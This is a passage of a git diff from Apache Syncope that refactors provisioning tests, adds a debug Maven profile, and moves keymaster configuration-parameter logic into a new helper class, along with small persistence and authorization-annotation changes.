LDAPMembershipPullActionsTest extends AbstractTest { @Mock private ProvisioningReport result; - @Mock - private Map> membershipsAfter; - @Mock private ProvisioningTask pullTask; @@ -123,6 +117,8 @@ public class LDAPMembershipPullActionsTest extends AbstractTest { private AnyUR anyReq; + private Map> membershipsAfter; + private Map> membershipsBefore; private User user; @@ -132,24 +128,25 @@ public class LDAPMembershipPullActionsTest extends AbstractTest { @BeforeEach public void initTest() { user = entityFactory.newEntity(User.class); + ReflectionTestUtils.setField(user, "id", UUID.randomUUID().toString()); + UMembership uMembership = entityFactory.newEntity(UMembership.class); uMembership.setLeftEnd(user); - ReflectionTestUtils.setField(user, "id", UUID.randomUUID().toString()); - List uMembList = List.of(uMembership); anyReq = new UserUR(); + membershipsBefore = new HashMap<>(); ReflectionTestUtils.setField(ldapMembershipPullActions, "membershipsBefore", membershipsBefore); + membershipsAfter = new HashMap<>(); ReflectionTestUtils.setField(ldapMembershipPullActions, "membershipsAfter", membershipsAfter); - lenient().when(groupDAO.findUMemberships(groupDAO.find(anyString()))).thenReturn(uMembList); + lenient().when(groupDAO.findUMemberships(groupDAO.find(anyString()))).thenReturn(List.of(uMembership)); ConnConfPropSchema connConfPropSchema = new ConnConfPropSchema(); connConfPropSchema.setName("testSchemaName"); ConnConfProperty connConfProperty = new ConnConfProperty(); connConfProperty.setSchema(connConfPropSchema); - connConfProperties = new HashSet<>(); - connConfProperties.add(connConfProperty); + connConfProperties = Set.of(connConfProperty); lenient().when(profile.getTask()).thenAnswer(ic -> pullTask); lenient().when(pullTask.getResource()).thenReturn(resource); @@ -171,23 +168,20 @@ public void initTest() { public void beforeUpdateWithGroupTOAndEmptyMemberships() throws JobExecutionException { entity = new GroupTO(); entity.setKey(UUID.randomUUID().toString()); - Set expected = new HashSet<>(); - expected.add(entity.getKey()); ldapMembershipPullActions.beforeUpdate(profile, syncDelta, entity, anyReq); assertTrue(entity instanceof GroupTO); assertEquals(1, membershipsBefore.get(user.getKey()).size()); - assertEquals(expected, membershipsBefore.get(user.getKey())); + assertEquals(Set.of(entity.getKey()), membershipsBefore.get(user.getKey())); } @Test public void beforeUpdate() throws JobExecutionException { entity = new UserTO(); entity.setKey(UUID.randomUUID().toString()); - Set memb = new HashSet<>(); - memb.add(entity.getKey()); - membershipsBefore.put(user.getKey(), memb); + + membershipsBefore.put(user.getKey(), Set.of(entity.getKey())); ldapMembershipPullActions.beforeUpdate(profile, syncDelta, entity, anyReq); @@ -198,18 +192,15 @@ public void beforeUpdate() throws JobExecutionException { @Test public void after() throws JobExecutionException { entity = new GroupTO(); - String expectedUid = UUID.randomUUID().toString(); - Attribute attribute = new Uid(expectedUid); - List expected = List.of(expectedUid); + entity.setKey(UUID.randomUUID().toString()); - when(connectorObj.getAttributeByName(anyString())).thenReturn(attribute); + when(connectorObj.getAttributeByName(anyString())).thenReturn(new Uid(UUID.randomUUID().toString())); when(inboundMatcher.match(any(AnyType.class), anyString(), any(ExternalResource.class), any(Connector.class))). thenReturn(Optional.of(new PullMatch(MatchType.ANY, user))); ldapMembershipPullActions.after(profile, syncDelta, entity, result); - verify(membershipsAfter).get(anyString()); - verify(membershipsAfter).put(anyString(), any()); - assertEquals(expected, attribute.getValue()); + assertEquals(1, membershipsAfter.get(user.getKey()).size()); + assertEquals(entity.getKey(), membershipsAfter.get(user.getKey()).iterator().next()); } } diff --git a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegateTest.java b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegateTest.java index e0490fc251d..4fd7afc46cf 100644 --- a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegateTest.java +++ b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegateTest.java @@ -114,7 +114,8 @@ public void pull() throws JobExecutionException, IOException { ConflictResolutionAction.IGNORE, null, connector, - pullTask); + pullTask, + "whoever"); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/core/self-keymaster-starter/pom.xml b/core/self-keymaster-starter/pom.xml index 7f5ba61a695..63122e72202 100644 --- a/core/self-keymaster-starter/pom.xml +++ b/core/self-keymaster-starter/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Spring Boot Self Keymaster @@ -47,7 +47,13 @@ under the License. org.apache.syncope.common.keymaster.self syncope-common-keymaster-self-rest-api - ${project.version} + ${project.version} + + + org.apache.syncope.common.keymaster.self + syncope-common-keymaster-self-rest-api + ${project.version} + javadoc @@ -128,7 +134,67 @@ under the License. + + + + debug + + + true + true + + + + + org.springframework.boot + spring-boot-starter-undertow + + + + com.h2database + h2 + + + + clean package + + + + org.springframework.boot + spring-boot-maven-plugin + + org.apache.syncope.core.starter.SyncopeCoreApplication + + -Dsyncope.connid.location=file:${basedir}/../provisioning-java/target/bundles + -XX:HotswapAgent=fatjar + -Xdebug -Xrunjdwp:transport=dt_socket,address=8002,server=y,suspend=n + + + debug + + + + + package + + run + + + + + + + + + ${basedir}/src/test/resources + true + + *.properties + + + + diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/internal/InternalConfParamHelper.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/internal/InternalConfParamHelper.java new file mode 100644 index 00000000000..9b351024fc1 --- /dev/null +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/internal/InternalConfParamHelper.java @@ -0,0 +1,89 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.keymaster.internal; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.json.JsonMapper; +import java.util.Map; +import java.util.Optional; +import java.util.TreeMap; +import org.apache.syncope.core.persistence.api.dao.ConfParamDAO; +import org.apache.syncope.core.persistence.api.dao.NotFoundException; +import org.apache.syncope.core.persistence.api.entity.ConfParam; +import org.apache.syncope.core.persistence.api.entity.SelfKeymasterEntityFactory; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.transaction.annotation.Transactional; + +public class InternalConfParamHelper { + + protected static final Logger LOG = LoggerFactory.getLogger(InternalConfParamHelper.class); + + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + + protected final ConfParamDAO confParamDAO; + + protected final SelfKeymasterEntityFactory entityFactory; + + public InternalConfParamHelper(final ConfParamDAO confParamDAO, final SelfKeymasterEntityFactory entityFactory) { + this.confParamDAO = confParamDAO; + this.entityFactory = entityFactory; + } + + @Transactional(readOnly = true) + public Map list() { + Map params = new TreeMap<>(); + confParamDAO.findAll().forEach(param -> { + try { + params.put(param.getKey(), MAPPER.treeToValue(param.getValue(), Object.class)); + } catch (JsonProcessingException e) { + LOG.error("While processing {}'s value", param.getKey(), e); + } + }); + return params; + } + + @Transactional(readOnly = true) + public JsonNode get(final String key) { + ConfParam param = confParamDAO.find(key); + + return Optional.ofNullable(param).map(ConfParam::getValue).orElse(null); + } + + @Transactional + public void set(final String key, final JsonNode value) { + if (value == null) { + throw new NotFoundException("No value provided for " + key); + } + + ConfParam param = confParamDAO.find(key); + if (param == null) { + param = entityFactory.newConfParam(); + param.setKey(key); + } + param.setValue(value); + confParamDAO.save(param); + } + + @Transactional + public void remove(final String key) { + confParamDAO.delete(key); + } +} diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/internal/SelfKeymasterInternalConfParamOps.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/internal/SelfKeymasterInternalConfParamOps.java index 7f0b5e210e1..a7fed0f856e 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/internal/SelfKeymasterInternalConfParamOps.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/internal/SelfKeymasterInternalConfParamOps.java @@ -21,46 +21,34 @@ import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.json.JsonMapper; import java.io.IOException; -import java.util.List; import java.util.Map; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; -import org.apache.syncope.common.keymaster.client.api.KeymasterProperties; -import org.apache.syncope.core.logic.ConfParamLogic; -import org.apache.syncope.core.spring.security.AuthContextUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.transaction.annotation.Transactional; public class SelfKeymasterInternalConfParamOps implements ConfParamOps { protected static final Logger LOG = LoggerFactory.getLogger(ConfParamOps.class); - private static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); - protected final ConfParamLogic logic; + protected final InternalConfParamHelper helper; - protected final KeymasterProperties props; - - public SelfKeymasterInternalConfParamOps(final ConfParamLogic logic, final KeymasterProperties props) { - this.logic = logic; - this.props = props; + public SelfKeymasterInternalConfParamOps(final InternalConfParamHelper helper) { + this.helper = helper; } + @Transactional(readOnly = true) @Override public Map list(final String domain) { - return AuthContextUtils.callAs( - domain, - props.getUsername(), - List.of(), - () -> logic.list()); + return helper.list(); } + @Transactional(readOnly = true) @Override public T get(final String domain, final String key, final T defaultValue, final Class reference) { - JsonNode valueNode = AuthContextUtils.callAs( - domain, - props.getUsername(), - List.of(), - () -> logic.get(key)); + JsonNode valueNode = helper.get(key); if (valueNode == null) { return defaultValue; } @@ -73,25 +61,19 @@ public T get(final String domain, final String key, final T defaultValue, fi } } + @Transactional @Override public void set(final String domain, final String key, final T value) { if (value == null) { remove(domain, key); } else { - JsonNode valueNode = MAPPER.valueToTree(value); - - AuthContextUtils.callAs(domain, props.getUsername(), List.of(), () -> { - logic.set(key, valueNode); - return null; - }); + helper.set(key, MAPPER.valueToTree(value)); } } + @Transactional @Override public void remove(final String domain, final String key) { - AuthContextUtils.callAs(domain, props.getUsername(), List.of(), () -> { - logic.remove(key); - return null; - }); + helper.remove(key); } } diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/ConfParamServiceImpl.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/ConfParamServiceImpl.java index b393686885e..43522c9c112 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/ConfParamServiceImpl.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/ConfParamServiceImpl.java @@ -56,7 +56,7 @@ public Response get(final String key) { } @Override - public Response set(final String key, final InputStream value) { + public void set(final String key, final InputStream value) { JsonNode valueNode = null; try { valueNode = MAPPER.readTree(value); @@ -65,12 +65,10 @@ public Response set(final String key, final InputStream value) { } logic.set(key, valueNode); - return Response.noContent().build(); } @Override - public Response remove(final String key) { + public void remove(final String key) { logic.remove(key); - return Response.noContent().build(); } } diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/DomainServiceImpl.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/DomainServiceImpl.java index bc2a0dc4f73..af07adf2a8a 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/DomainServiceImpl.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/DomainServiceImpl.java @@ -64,22 +64,17 @@ public Response create(final Domain domain) { } @Override - public Response changeAdminPassword( - final String key, final String password, final CipherAlgorithm cipherAlgorithm) { - + public void changeAdminPassword(final String key, final String password, final CipherAlgorithm cipherAlgorithm) { logic.changeAdminPassword(key, password, cipherAlgorithm); - return Response.noContent().build(); } @Override - public Response adjustPoolSize(final String key, final int poolMaxActive, final int poolMinIdle) { + public void adjustPoolSize(final String key, final int poolMaxActive, final int poolMinIdle) { logic.adjustPoolSize(key, poolMaxActive, poolMinIdle); - return Response.noContent().build(); } @Override - public Response delete(final String key) { + public void delete(final String key) { logic.delete(key); - return Response.noContent().build(); } } diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/NetworkServiceServiceImpl.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/NetworkServiceServiceImpl.java index 12911da0862..32b5357730b 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/NetworkServiceServiceImpl.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/keymaster/rest/cxf/service/NetworkServiceServiceImpl.java @@ -19,7 +19,6 @@ package org.apache.syncope.core.keymaster.rest.cxf.service; import java.util.List; -import javax.ws.rs.core.Response; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.keymaster.rest.api.service.NetworkServiceService; import org.apache.syncope.core.logic.NetworkServiceLogic; @@ -47,12 +46,11 @@ public NetworkService get(final NetworkService.Type serviceType) { } @Override - public Response action(final NetworkService networkService, final Action action) { + public void action(final NetworkService networkService, final Action action) { if (action == Action.unregister) { logic.unregister(networkService); } else { logic.register(networkService); } - return Response.noContent().build(); } } diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/ConfParamLogic.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/ConfParamLogic.java index 5ff8f346e5c..2c4982ce674 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/ConfParamLogic.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/ConfParamLogic.java @@ -18,75 +18,42 @@ */ package org.apache.syncope.core.logic; -import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.JsonNode; -import com.fasterxml.jackson.databind.json.JsonMapper; import java.lang.reflect.Method; import java.util.Map; -import java.util.Optional; -import java.util.TreeMap; import org.apache.syncope.common.lib.to.EntityTO; -import org.apache.syncope.core.persistence.api.dao.ConfParamDAO; -import org.apache.syncope.core.persistence.api.dao.NotFoundException; -import org.apache.syncope.core.persistence.api.entity.ConfParam; -import org.apache.syncope.core.persistence.api.entity.SelfKeymasterEntityFactory; +import org.apache.syncope.core.keymaster.internal.InternalConfParamHelper; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; public class ConfParamLogic extends AbstractTransactionalLogic { - private static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected final InternalConfParamHelper helper; - protected final ConfParamDAO confParamDAO; - - protected final SelfKeymasterEntityFactory entityFactory; - - public ConfParamLogic(final ConfParamDAO confParamDAO, final SelfKeymasterEntityFactory entityFactory) { - this.confParamDAO = confParamDAO; - this.entityFactory = entityFactory; + public ConfParamLogic(final InternalConfParamHelper helper) { + this.helper = helper; } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") @Transactional(readOnly = true) public Map list() { - Map params = new TreeMap<>(); - confParamDAO.findAll().forEach(param -> { - try { - params.put(param.getKey(), MAPPER.treeToValue(param.getValue(), Object.class)); - } catch (JsonProcessingException e) { - LOG.error("While processing {}'s value", param.getKey(), e); - } - }); - return params; + return helper.list(); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") @Transactional(readOnly = true) public JsonNode get(final String key) { - ConfParam param = confParamDAO.find(key); - - return Optional.ofNullable(param).map(ConfParam::getValue).orElse(null); + return helper.get(key); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public void set(final String key, final JsonNode value) { - ConfParam param = confParamDAO.find(key); - if (param == null) { - param = entityFactory.newConfParam(); - param.setKey(key); - } - - if (value == null) { - throw new NotFoundException("No value provided for " + key); - } - - param.setValue(value); - confParamDAO.save(param); + helper.set(key, value); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public void remove(final String key) { - confParamDAO.delete(key); + helper.remove(key); } @Override diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/DomainLogic.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/DomainLogic.java index f30b8d75e18..f6b86951d45 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/DomainLogic.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/DomainLogic.java @@ -21,6 +21,7 @@ import java.lang.reflect.Method; import java.util.List; import java.util.Objects; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.syncope.common.keymaster.client.api.DomainWatcher; import org.apache.syncope.common.keymaster.client.api.KeymasterException; @@ -53,22 +54,20 @@ public DomainLogic( this.domainWatcher = domainWatcher; } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public List list() { return domainDAO.findAll().stream().map(DomainEntity::get).collect(Collectors.toList()); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public Domain read(final String key) { - DomainEntity domain = domainDAO.find(key); - if (domain == null) { - throw new NotFoundException("Domain " + key); - } + DomainEntity domain = Optional.ofNullable(domainDAO.find(key)). + orElseThrow(() -> new NotFoundException("Domain " + key)); return domain.get(); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public Domain create(final Domain domain) { if (Objects.equals(domain.getKey(), SyncopeConstants.MASTER_DOMAIN)) { throw new KeymasterException("Cannot create domain " + SyncopeConstants.MASTER_DOMAIN); @@ -88,12 +87,10 @@ public Domain create(final Domain domain) { return domainEntity.get(); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public void changeAdminPassword(final String key, final String password, final CipherAlgorithm cipherAlgorithm) { - DomainEntity domain = domainDAO.find(key); - if (domain == null) { - throw new NotFoundException("Domain " + key); - } + DomainEntity domain = Optional.ofNullable(domainDAO.find(key)). + orElseThrow(() -> new NotFoundException("Domain " + key)); Domain domainObj = domain.get(); domainObj.setAdminPassword(password); @@ -102,12 +99,10 @@ public void changeAdminPassword(final String key, final String password, final C domainDAO.save(domain); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public void adjustPoolSize(final String key, final int poolMaxActive, final int poolMinIdle) { - DomainEntity domain = domainDAO.find(key); - if (domain == null) { - throw new NotFoundException("Domain " + key); - } + DomainEntity domain = Optional.ofNullable(domainDAO.find(key)). + orElseThrow(() -> new NotFoundException("Domain " + key)); Domain domainObj = domain.get(); domainObj.setPoolMaxActive(poolMaxActive); @@ -116,7 +111,7 @@ public void adjustPoolSize(final String key, final int poolMaxActive, final int domainDAO.save(domain); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public void delete(final String key) { domainDAO.delete(key); diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/NetworkServiceLogic.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/NetworkServiceLogic.java index 0391de8582d..a36a1349a1c 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/NetworkServiceLogic.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/logic/NetworkServiceLogic.java @@ -21,13 +21,13 @@ import java.lang.reflect.Method; import java.util.List; import java.util.stream.Collectors; -import org.apache.commons.lang3.RandomUtils; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.to.EntityTO; import org.apache.syncope.core.persistence.api.dao.NetworkServiceDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.entity.NetworkServiceEntity; import org.apache.syncope.core.persistence.api.entity.SelfKeymasterEntityFactory; +import org.apache.syncope.core.spring.security.SecureRandomUtils; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; @@ -52,14 +52,14 @@ protected NetworkService toNetworkService( return ns; } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") @Transactional(readOnly = true) public List list(final NetworkService.Type serviceType) { return serviceDAO.findAll(serviceType).stream(). map(service -> toNetworkService(serviceType, service)).collect(Collectors.toList()); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") @Transactional(readOnly = true) public NetworkService get(final NetworkService.Type serviceType) { List list = list(serviceType); @@ -69,24 +69,24 @@ public NetworkService get(final NetworkService.Type serviceType) { return list.size() == 1 ? list.get(0) - : list.get(RandomUtils.nextInt(0, list.size())); + : list.get(SecureRandomUtils.generateRandomInt(0, list.size())); } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public void register(final NetworkService networkService) { - unregister(networkService); + if (serviceDAO.findAll(networkService.getType()).stream(). + noneMatch(s -> s.getAddress().equals(networkService.getAddress()))) { - NetworkServiceEntity service = entityFactory.newNetworkService(); - service.setType(networkService.getType()); - service.setAddress(networkService.getAddress()); - serviceDAO.save(service); + NetworkServiceEntity service = entityFactory.newNetworkService(); + service.setType(networkService.getType()); + service.setAddress(networkService.getAddress()); + serviceDAO.save(service); + } } - @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name and not(isAnonymous())") + @PreAuthorize("@environment.getProperty('keymaster.username') == authentication.name") public void unregister(final NetworkService networkService) { - serviceDAO.findAll(networkService.getType()).stream(). - filter(service -> service.getAddress().equals(networkService.getAddress())). - forEach(service -> serviceDAO.delete(service)); + serviceDAO.deleteAll(networkService); } @Override diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/api/dao/NetworkServiceDAO.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/api/dao/NetworkServiceDAO.java index ccf27351126..a1996f3173f 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/api/dao/NetworkServiceDAO.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/api/dao/NetworkServiceDAO.java @@ -29,4 +29,6 @@ public interface NetworkServiceDAO extends DAO { NetworkServiceEntity save(NetworkServiceEntity service); void delete(NetworkServiceEntity service); + + int deleteAll(NetworkService service); } diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPANetworkServiceDAO.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPANetworkServiceDAO.java index babe9fe3530..750a37a1476 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPANetworkServiceDAO.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPANetworkServiceDAO.java @@ -19,6 +19,7 @@ package org.apache.syncope.core.persistence.jpa.dao; import java.util.List; +import javax.persistence.Query; import javax.persistence.TypedQuery; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.core.persistence.api.dao.NetworkServiceDAO; @@ -47,4 +48,15 @@ public NetworkServiceEntity save(final NetworkServiceEntity service) { public void delete(final NetworkServiceEntity service) { entityManager().remove(service); } + + @Override + public int deleteAll(final NetworkService service) { + Query query = entityManager().createQuery( + "DELETE FROM " + JPANetworkService.class.getSimpleName() + + " e WHERE e.type=:serviceType AND e.address=:address"); + query.setParameter("serviceType", service.getType()); + query.setParameter("address", service.getAddress()); + + return query.executeUpdate(); + } } diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPANetworkService.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPANetworkService.java index 10e9f0226aa..b0f36238524 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPANetworkService.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPANetworkService.java @@ -22,12 +22,14 @@ import javax.persistence.EnumType; import javax.persistence.Enumerated; import javax.persistence.Table; +import javax.persistence.UniqueConstraint; import javax.validation.constraints.NotNull; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.core.persistence.api.entity.NetworkServiceEntity; @Entity -@Table(name = JPANetworkService.TABLE) +@Table(name = JPANetworkService.TABLE, uniqueConstraints = + @UniqueConstraint(columnNames = { "type", "address" })) public class JPANetworkService extends AbstractGeneratedKeyEntity implements NetworkServiceEntity { private static final long serialVersionUID = 8742750097008236475L; diff --git a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/starter/SelfKeymasterContext.java b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/starter/SelfKeymasterContext.java index 557b68cfe09..dc42b8d3753 100644 --- a/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/starter/SelfKeymasterContext.java +++ b/core/self-keymaster-starter/src/main/java/org/apache/syncope/core/starter/SelfKeymasterContext.java @@ -19,12 +19,27 @@ package org.apache.syncope.core.starter; import com.fasterxml.jackson.jaxrs.json.JacksonJsonProvider; +import io.swagger.v3.oas.integration.api.OpenAPIConfiguration; +import io.swagger.v3.oas.models.ExternalDocumentation; +import io.swagger.v3.oas.models.media.Schema; +import io.swagger.v3.oas.models.parameters.HeaderParameter; +import io.swagger.v3.oas.models.parameters.Parameter; +import io.swagger.v3.oas.models.security.SecurityScheme; import java.util.List; import java.util.Map; +import java.util.Optional; +import java.util.Set; import java.util.regex.Pattern; +import java.util.stream.Collectors; +import org.apache.commons.lang3.StringUtils; import org.apache.cxf.Bus; import org.apache.cxf.endpoint.Server; +import org.apache.cxf.jaxrs.ext.MessageContext; +import org.apache.cxf.jaxrs.model.doc.JavaDocProvider; +import org.apache.cxf.jaxrs.openapi.OpenApiCustomizer; +import org.apache.cxf.jaxrs.openapi.OpenApiFeature; import org.apache.cxf.jaxrs.spring.JAXRSServerFactoryBeanDefinitionParser.SpringJAXRSServerFactoryBean; +import org.apache.cxf.jaxrs.utils.JAXRSUtils; import org.apache.cxf.jaxrs.validation.JAXRSBeanValidationInInterceptor; import org.apache.cxf.transport.common.gzip.GZIPInInterceptor; import org.apache.cxf.transport.common.gzip.GZIPOutInterceptor; @@ -36,6 +51,9 @@ import org.apache.syncope.common.keymaster.rest.api.service.ConfParamService; import org.apache.syncope.common.keymaster.rest.api.service.DomainService; import org.apache.syncope.common.keymaster.rest.api.service.NetworkServiceService; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.core.keymaster.internal.InternalConfParamHelper; import org.apache.syncope.core.keymaster.internal.SelfKeymasterInternalConfParamOps; import org.apache.syncope.core.keymaster.internal.SelfKeymasterInternalDomainOps; import org.apache.syncope.core.keymaster.internal.SelfKeymasterInternalServiceOps; @@ -46,6 +64,7 @@ import org.apache.syncope.core.logic.ConfParamLogic; import org.apache.syncope.core.logic.DomainLogic; import org.apache.syncope.core.logic.NetworkServiceLogic; +import org.apache.syncope.core.persistence.api.DomainHolder; import org.apache.syncope.core.persistence.api.dao.ConfParamDAO; import org.apache.syncope.core.persistence.api.dao.DomainDAO; import org.apache.syncope.core.persistence.api.dao.NetworkServiceDAO; @@ -55,29 +74,35 @@ import org.apache.syncope.core.persistence.jpa.dao.JPANetworkServiceDAO; import org.apache.syncope.core.persistence.jpa.entity.JPASelfKeymasterEntityFactory; import org.apache.syncope.core.provisioning.api.UserProvisioningManager; +import org.apache.syncope.core.rest.cxf.JavaDocUtils; import org.apache.syncope.core.rest.cxf.RestServiceExceptionMapper; import org.apache.syncope.core.spring.security.AuthDataAccessor; import org.apache.syncope.core.spring.security.DefaultCredentialChecker; import org.apache.syncope.core.spring.security.SecurityProperties; import org.apache.syncope.core.spring.security.UsernamePasswordAuthenticationProvider; import org.apache.syncope.core.spring.security.WebSecurityContext; +import org.apache.syncope.core.starter.SelfKeymasterContext.SelfKeymasterCondition; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.boot.autoconfigure.AutoConfigureBefore; import org.springframework.boot.autoconfigure.condition.ConditionOutcome; -import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.autoconfigure.condition.SpringBootCondition; import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.ConditionContext; import org.springframework.context.annotation.Conditional; import org.springframework.context.annotation.Configuration; +import 